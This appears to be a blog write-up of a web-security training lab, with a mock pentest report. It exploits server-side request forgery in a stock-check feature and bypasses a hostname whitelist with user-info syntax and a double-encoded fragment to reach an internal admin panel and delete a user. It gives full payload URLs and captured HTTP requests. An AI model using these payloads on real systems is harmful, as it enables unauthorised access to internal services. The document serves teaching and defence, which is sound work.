Skip to content

This lab focuses on Server-Side Request Forgery (SSRF) in a web application that uses a stock check feature to fetch data from an internal system. The objective is to demonstrate how SSRF vulnerabilities can be exploited even when the application enforces a whitelist-based input filter.

Thank you for reading this post, don't forget to subscribe!

The ultimate goal of this lab is to gain access to the internal admin interface and perform unauthorized actions. Specifically, the task is to navigate to: “http://localhost/admin”. From this interface, the attacker must delete the user carlos. 

Security Controls and Bypass

The developer has implemented a defense mechanism intended to prevent SSRF attacks by filtering input against a whitelist. However, as this exercise demonstrates, such defenses are not always sufficient. The lab requires identifying a method to bypass this protection in order to successfully exploit the vulnerability.

Tools Required

Burp Suite (Community or Professional Edition)

Burp Suite will be used to intercept, modify, and forward requests to exploit the SSRF vulnerability.

Step 1: Intercept the Stock Check Request

Since the SSRF vulnerability exists within the stock check feature, the first step is to initiate Burp Suite and enable Intercept mode.

Navigate to any product page within the application.

Click the “Check Stock” button to trigger the stock check functionality.

Capture the resulting HTTP request in Burp Suite for further analysis.

Step 2: Send the Request to Repeater

Once the stock check request is successfully intercepted in Burp Suite, forward it to the Repeater tab for controlled manipulation and testing.

In the Proxy tab, right-click on the captured request.

Select “Send to Repeater”.

This allows us to resend and modify the request repeatedly, making it easier to test different payloads and bypass techniques against the whitelist filter.

Step 3: Modify the stockApi Parameter

To begin exploiting the SSRF vulnerability, modify the request in Repeater by changing the value of the stockApiparameter.

Replace the original stock check endpoint with: “http://127.0.0.1/”

 

Step 4: Send the Modified Request and Observe the Response

With the stockApi parameter set to http://127.0.0.1/, send the request from the Repeater tab.

Carefully review the HTTP response returned by the server.

Step 5: Analyze the Error Message and Attempt a Whitelist Bypass

When the modified request to http://127.0.0.1/ is sent, the server responds with:

HTTP/2 400 Bad Request
External stock check host must be stock.weliketoshop.net

This clearly indicates that the application is:

Parsing the URL and extracting the hostname.

Validating the hostname against a whitelist, which only permits requests to stock.weliketoshop.net.

To test for a potential bypass, I modified the request to: http://username@stock.weliketoshop.net/

This format leverages the user-info syntax (username@hostname) in URLs. Although it appears to satisfy the whitelist by including the approved hostname, the actual request may still be directed elsewhere depending on how the application resolves the URL.

The response to this modified request will determine whether the whitelist enforcement is strict or if it can be bypassed.

Step 6: Evaluate the Response from the User-Info Bypass Attempt

After sending the modified request with the stockApi parameter set to: http://username@stock.weliketoshop.net/ the server responds with:

HTTP/2 500 Internal Server Error

This indicates that the application attempted to interpret username as the hostname portion of the URL, which caused the connection to fail.

Key takeaway:

The whitelist validation mechanism is not handling user-info syntax correctly.

The server attempted to resolve username as a hostname, confirming that this bypass technique does not succeed but also exposing potential weaknesses in the URL parsing logic.

Step 7: Testing With URL Fragment Injection

To further test the parsing logic, the payload was adjusted by appending a fragment identifier (#) to the user-info section of the URL. The request became:

http://username#@stock.weliketoshop.net/

Step 8: Double-URL Encoding the Fragment Character

To probe the robustness of the whitelist filter, the fragment character (#) was double-URL encoded into %2523.
The request became:

http://username%2523@stock.weliketoshop.net/

Observation:

The application responded with an “HTTP/1.1 500 Internal Server Error”.

This strongly suggests that the server attempted to interpret username as the hostname and failed to resolve it.

The suspicious error response indicates that the input is reaching the server’s URL parser and affecting hostname resolution logic.

Step 10: Successful Whitelist Bypass with Encoded Payload

Using the following crafted URL in the stockApi parameter:

http://localhost:80%2523@stock.weliketoshop.net/

the application returned a 200 OK response.

Analysis:

This indicates the whitelist filter was successfully bypassed.

The server attempted to connect to localhost on port 80, while still “accepting” the whitelisted hostname in the URL structure.

The double-encoded fragment (%2523) effectively neutralized the validation logic, allowing internal access.

Step 11: Locating the Admin Interface

Since the final objective is to access the admin panel (http://localhost/admin) and delete the user carlos, the next step is to search for references to admin within the server’s response. And there it is in the highlighted part of the image above.

Step 12: Accessing the Admin Panel

By extending the crafted payload to include the admin path, the following request was issued:

http://localhost:80%2523@stock.weliketoshop.net/admin

Observation:

The response successfully loaded the Admin Interface of the application.

Within the interface, the user “carlos” was listed, confirming that the SSRF exploit provided unauthorized access to internal functionality.

This confirms the application is vulnerable to an SSRF attack with a whitelist-based input filter bypass.

Step 13: Enumerating the User Deletion Path

To achieve the objective, the next step is to identify the endpoint responsible for deleting the user carlos.

Carefully inspect the HTML response for links, forms, or endpoints associated with user management.

Look specifically for references to carlos and note any associated delete action path ( /admin/delete?username=carlos).

This endpoint will be used to craft the final malicious request to complete the exploitation.

Step 14: Crafting the Final Deletion Request

From the admin interface response, the deletion path for the target user was identified as:

/admin/delete?username=carlos

By combining this path with the SSRF bypass payload, the full malicious URL becomes:

http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

 

Step 15: Sending the Deletion Request

The crafted URL was submitted via the stockApi parameter:

http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

Observation:

The server responded with HTTP/1.1 302 Found, indicating a redirect.

A 302 response often signals that the action (in this case, deletion) was processed, and the user is being redirected to a confirmation or status page.

Step 17: Following the Redirect

By clicking “Follow redirection” in Burp Suite, the browser/server follows the redirect chain.

This  leads back to the admin panel, now reflecting the updated state of the application.

On inspection, the user carlos is no longer present in the user list, confirming that the deletion was successful.

Final Result

The exploitation chain was completed successfully. By abusing the stock check feature, bypassing the whitelist filter with a double-encoded user-info payload, and chaining it to the admin deletion endpoint, I was able to:

Access the internal admin panel.

Execute the request to delete the user carlos.

Confirm the action when the lab returned a 302 redirect and the user no longer appeared in the admin panel.

The lab concluded with the message: “Solved”, validating successful exploitation.

Key Takeaways

Whitelist filters can be bypassed using creative payloads (e.g., user-info injection + double URL encoding).

SSRF vulnerabilities are extremely powerful, enabling attackers to access internal resources not normally exposed to the internet.

Always normalize and resolve URLs before applying allow-list checks, and supplement application-level defenses with network restrictions.

Penetration Testing Report

Vulnerability: Server-Side Request Forgery (SSRF) with Whitelist-Based Input Filter

Executive Summary

During a controlled penetration testing lab, a critical Server-Side Request Forgery (SSRF) vulnerability was discovered in the application’s stock check feature. Although a whitelist filter was implemented to restrict external requests, the defense was bypassed using crafted URL payloads. Successful exploitation granted unauthorized access to the internal admin panel, ultimately allowing deletion of the user carlos.

This exercise demonstrates the real-world risk of SSRF, where attackers can pivot into internal systems, access sensitive services, and perform privileged actions.

Technical Details

Vulnerable Functionality:

The application fetches stock information from a back-end system via a stockApi parameter.

Request:

POST /product/stock HTTP/2
Host: 0af00041032e11378190570000ca0027.web-security-academy.net
Cookie: session=Qd4vTvq5dhzYFwqW74tISp6XpmsoEdg0
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0af00041032e11378190570000ca0027.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Origin: https://0af00041032e11378190570000ca0027.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1

Observed Behavior:

When attempting to change the parameter to http://127.0.0.1/, the server responded:

400 Bad Request – External stock check host must be stock.weliketoshop.net

This confirmed a whitelist validation based on the hostname.

Exploitation Path:

Intercept request to the stock check endpoint using Burp Suite.

Send to Repeater for manipulation.

Test URL variations:

http://username@stock.weliketoshop.net/ → resulted in 500 Internal Server Error.

http://username%2523@stock.weliketoshop.net/ → showed suspicious parsing behavior.

http://localhost:80%2523@stock.weliketoshop.net/ → returned 200 OK, confirming whitelist bypass.

Access Admin Panel:

http://localhost:80%2523@stock.weliketoshop.net/admin

Successfully loaded the internal admin interface.

Delete Target User:

Identified deletion endpoint: /admin/delete?username=carlos.

Final crafted payload:http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

Response: 302 Redirect → followed redirect confirmed user carlos was removed.

Final Result:

The lab displayed “Solved”, validating successful exploitation.

Proof of Concept

Intercept request:

POST /product/stock HTTP/2
Host: 0af00041032e11378190570000ca0027.web-security-academy.net
Cookie: session=Qd4vTvq5dhzYFwqW74tISp6XpmsoEdg0
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0af00041032e11378190570000ca0027.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Origin: https://0af00041032e11378190570000ca0027.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1

Modify parameter

stockApi=http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

Response:

HTTP/2 302 Found
Location: /admin
Set-Cookie: session=viNvWhIHPkBNA7F8eUFfMNeG5fUWqDVU; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Impact

Attackers can bypass input validation and interact with internal services.

Gained unauthorized access to the admin panel.

Executed privileged administrative actions (deleting users).

In a real-world environment, this could lead to:

Access to internal metadata services (e.g., AWS/GCP cloud credentials).

Unauthorized control over sensitive admin endpoints.

Potential full compromise of the underlying infrastructure.

Recommendations

Strong URL Validation

Normalize and resolve the hostname/IP before enforcing allow-lists.

Reject user-info syntax and encoded characters (@, %23, %2523, etc.).

Network-Layer Protections

Implement firewall rules to block server-initiated requests to localhost and private IP ranges.

Restrict outbound connections only to trusted external services.

Least Privilege Principle

Ensure back-end services (such as admin panels) are not accessible internally via SSRF-exposed components.

Separate administrative functionality from public-facing services.

Continuous Security Testing

Perform regular penetration testing and code reviews.

Integrate SSRF checks into automated security pipelines.

Conclusion

This assessment highlights that whitelist-based input filtering alone is insufficient to prevent SSRF attacks. By chaining together user-info syntax, double URL encoding, and payload manipulation, it was possible to bypass restrictions, access the internal admin panel, and delete the user carlos.

Proper input validation combined with network-level restrictions and secure design practices are essential to mitigating SSRF vulnerabilities.


Interested in mastering Nmap for network scanning and penetration testing? Don’t miss my in-depth tutorial: Nmap Tutorial: Fundamentals of Network Scanning & Penetration Testing